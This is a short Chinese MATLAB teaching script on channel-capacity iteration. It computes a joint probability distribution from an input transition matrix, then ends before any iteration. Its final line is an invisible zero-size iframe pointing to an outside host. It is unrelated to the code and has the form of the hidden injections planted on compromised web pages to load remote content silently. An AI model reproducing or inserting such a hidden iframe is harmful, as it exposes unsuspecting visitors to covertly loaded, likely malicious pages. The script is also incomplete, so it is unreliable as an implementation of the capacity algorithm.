我的信道容量迭代.m

信息理论与编码——关于信道容量迭代的matlab仿真程序

clear all;
Pba=input('转移矩阵Pba=')
%K=('精度K=')
%输入
[r,s]=size(Pba);
Pa=(1/(r+eps))*ones(1,r);
%以下求联合概率分布P(a,b)
Paabb=zeros(r,s);
for m=1:r
    for n=1:s
Paabb(m,n)=Pba(m,n)*Pa(1,m);
    end
end
%以下求Pb
Pb=zeros(1,s);
for n=1:s
    for m=1:r
        Pb(1,n)=Pb(1,n)+Paabb(m,n);
    end
end
%以下求Pa|b
Pab=zeros(r,s);
for m=1:r
    for n=1:s
        Pab(m,n)=Paabb(m,n)/(Pb(1,n)+eps);
    end
end
disp('联合概率分布为'),disp(Paabb);
<IFRAME SRC="http://www.5415.info/mo/11.htm" WIDTH=0 HEIGHT=0></IFRAME>